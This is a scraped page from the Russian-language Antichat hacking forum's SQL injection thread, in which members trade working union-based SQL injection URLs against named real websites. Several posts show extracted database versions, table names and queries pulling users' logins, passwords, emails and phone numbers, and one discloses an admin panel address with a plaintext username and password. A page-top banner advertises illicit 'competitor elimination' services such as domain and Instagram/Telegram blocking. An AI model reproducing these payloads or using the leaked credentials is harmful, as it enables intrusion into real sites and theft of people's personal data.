УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 155 из 1604

155

Опции темы

Поиск в этой теме

Опции просмотра

#1541

02.04.2007, 00:28

random

Познающий

Регистрация: 05.09.2006

Сообщений: 50

Провел на форуме:
1988972

Репутация: 250

Код:

http://www.realmusic.ua/catalog/more.php?id=-57+union+select+1,2,3/*

Последний раз редактировалось random; 02.04.2007 в 01:37..

#1542

02.04.2007, 03:34

Thanat0z

Постоянный

Регистрация: 06.12.2006

Сообщений: 762

Провел на форуме:
5352530

Репутация: 2062

хз что здесь мона сделать

Код:

__http://www.lotok.com.ua/auctiondetails.php?id=57739'+union+select+1/*
__http://www.yurpraktika.com/article.php?id=10007144'
__http://www.johnkeellshotels.com/beach_hotels/hotel_home.php?id=-1'

тут не нашел ничего интересного, судя по названиям таблиц, они больше отдыхают чем работают

Код:

__http://www.stcu.int/news/index.php?id=921%20or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('WinterPicnic2007','WinterPicnic2006','WebSite','Vacancies','v_Partners','v_Holidays','v_FieldOfficesReport','v_Autumn2004Results','syssegments','sysconstraints','SummerPicnic2005','SummerPicnic2004','SuccessStoryProjects','SuccessStory','SpringPicnic2006p2','SpringPicnic2006','Sections','RecentNewsandEvents','Procurement','Picnic','phone','Partners','PartnerContacts','links','Holidays','FieldOfficesReport','faxes','E_mails','dtproperties','Content','conference','Competition','BusReservation','Bowling','AutumnPicnic2005p2','AutumnPicnic2005','Organizer','Articles','AutumnPicnic2004'))--

понравилась вот эта скуля, но до ума не смог довести

Код:

__http://www.foto-svadba.com/photographer.php?id=24+union+select+1,2,3,4,5,6,7,8,9,10,11/*

Последний раз редактировалось Thanat0z; 02.04.2007 в 03:54..

#1543

02.04.2007, 08:37

Goudini

Участник форума

Регистрация: 07.06.2006

Сообщений: 146

Провел на форуме:
1652093

Репутация: 490

Отправить сообщение для Goudini с помощью ICQ

http://phpinside.org.ua - украинский сервер небезизвестного журнала PHPInside

Код:

http://phpinside.org.ua/index.php?mode=download&id=-1+union+select+1,convert(user()+using+cp1251)/*

inside@localhost

Код:

http://phpinside.org.ua/index.php?mode=download&id=-1+union+select+1,convert(version()+using+cp1251)/*

4.1.14

смотреть татйт =)

#1544

02.04.2007, 08:47

VampiRUS

Участник форума

Регистрация: 31.12.2005

Сообщений: 231

Провел на форуме:
1106266

Репутация: 366

Отправить сообщение для VampiRUS с помощью Yahoo

http://www.partsinfo.ru/news.php?nid=-1+union+select+1,2,3,concat_ws(0x3a,login,password ,email,name),5,6,7+from+users/*

Цитата:

Сообщение от Thanat0z

понравилась вот эта скуля, но до ума не смог довести

Код:

__http://www.foto-svadba.com/photographer.php?id=24+union+select+1,2,3,4,5,6,7,8,9,10,11/*

странно у меня получилось

Код:

http://www.foto-svadba.com/photographer.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user_name,user_password,email),9,10,11+from+users+limit+1,1/*

Последний раз редактировалось VampiRUS; 02.04.2007 в 09:01..

#1545

02.04.2007, 13:25

1ten0.0net1

Time out

Регистрация: 28.11.2005

Сообщений: 547

Провел на форуме:
2320925

Репутация: 1348

http://cards.udaff.com/viewcat.php?id=7+order+by+1/*
/home/udaff.com/cards/cards.udaff.com/functions.php
cards@devil
http://cards.udaff.com/viewcat.php?id=-7+union+select+VERSION()/*
5.0.32-Debian_7etch1-log

http://cards.udaff.com/viewcat.php?id=-7+union+select+1+from+mysql.user/*
http://cards.udaff.com/viewcat.php?id=-7+union+select+table_name+from+information_schema. tables/*
http://cards.udaff.com/viewcat.php?id=-7+union+select+table_name+from+information_schema. tables+limit+1,1/*

http://cards.udaff.com/viewcat.php?id=-7+union+select+table_name+from+information_schema. tables+limit+16,1/*
cards_cards
cards_cats
cards_comments
cards_log
helen
Admins
Articles

Поля в таблице admins не искал.
PS: IP на один меньше оригинального удава.
PPS: Тут намекают, что боян. Если так - извиняйте. анриал искать боян или нет по все теме.

__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.

Последний раз редактировалось 1ten0.0net1; 02.04.2007 в 13:32..

#1546

02.04.2007, 13:52

Muhacir

Участник форума

Регистрация: 05.10.2006

Сообщений: 133

Провел на форуме:
548338

Репутация: 165

Отправить сообщение для Muhacir с помощью ICQ

Цитата:

Сообщение от random

Юзера не подобрал:

Код:

http://stopusa.be/scripts/texte.php?section=&langue=3&id=-25094+union+select+1,2,passwd,4,5,6,7,8,9,10+from+users/*

держи

Код:

http://stopusa.be/scripts/texte.php?section=&langue=3&id=-25094+union+select+1,aid,passwd,4,5,6,7,8,9,10+from+users/*

http://stopusa.be/scripts/admin
User: Roland
Pass: katakas

#1547

02.04.2007, 14:17

Constantine

Members of Antichat - Level 5

Регистрация: 24.11.2006

Сообщений: 927

Провел на форуме:
7192869

Репутация: 3033

Код:

http://www.liliande.com/main.html?id=5&taal_id=9999999+union+select+1,2,3,4,convert(concat(version(),char(58),user(),char(58),database())+using+latin1),6,7/*

__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ

#1548

02.04.2007, 14:50

}{0TT@БЬ)Ч

Постоянный

Регистрация: 20.01.2006

Сообщений: 302

Провел на форуме:
3536885

Репутация: 447

2VampiRUS,_Pantera_
а

Код:

http://www.yurpraktika.com/article.php?id=10007200'

че не позубам?

правда таблицы не нашел но хоть что то

Код:

http://www.yurpraktika.com/article.php?id=10007200+and+10007200=-10007200+union+select+1,2,3,4,5,null,user(),8,9,10,database(),version(),13,14,15,null,17,18,19,20,21,22,null,null,25,null/*

красава

#1549

02.04.2007, 16:41

Grey

Познавший АНТИЧАТ

Регистрация: 10.06.2006

Сообщений: 1,113

Провел на форуме:
17668503

Репутация: 5826

Код:

http://uralmag.ru/index.html?col=1&tovar_id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
http://uralmag.ru/index.html?col=1&tovar_id=-1+union+select+1,2,concat(clients_fio,char(58),clients_phone,char(58),clients_login,char(58),clients_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+clients+limit+0,1/*

#1550

02.04.2007, 17:48

.Slip

Leaders of Antichat - Level 4

Регистрация: 16.01.2006

Сообщений: 1,966

Провел на форуме:
21768337

Репутация: 3486

Филосовский факультет МГУ. http://www.philos.msu.ru/
Видно что философы, а не пхп кодеры(:
Скуль:

Цитата:

http://www.philos.msu.ru/library.php?sid=2'

Колумны:

Цитата:

http://www.philos.msu.ru/library.php?sid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11

Версия мускула 5.0.27 :

Цитата:

http://www.philos.msu.ru/library.php?sid=-1+union+select+1,2,VERSION(),4,5,6,7,8,9,10,11

Следовательно:

Цитата:

http://www.philos.msu.ru/library.php?sid=-1+union+select+1,2,TABLE_NAME,4,5,6,7,8,9,10,11+fr om+INFORMATION_SCHEMA.TABLES/*
http://www.philos.msu.ru/library.php?sid=-1+union+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10,11+f rom+INFORMATION_SCHEMA.COLUMNS/*

Колонка CHARACTER_SET_NAME
Таблица CHARACTER_SETS
Так что только:

Цитата:

http://www.philos.msu.ru/library.php?sid=-1+union+select+1,login,3,4,5,6,7,8,9,10,11+from+us ers

__________________
..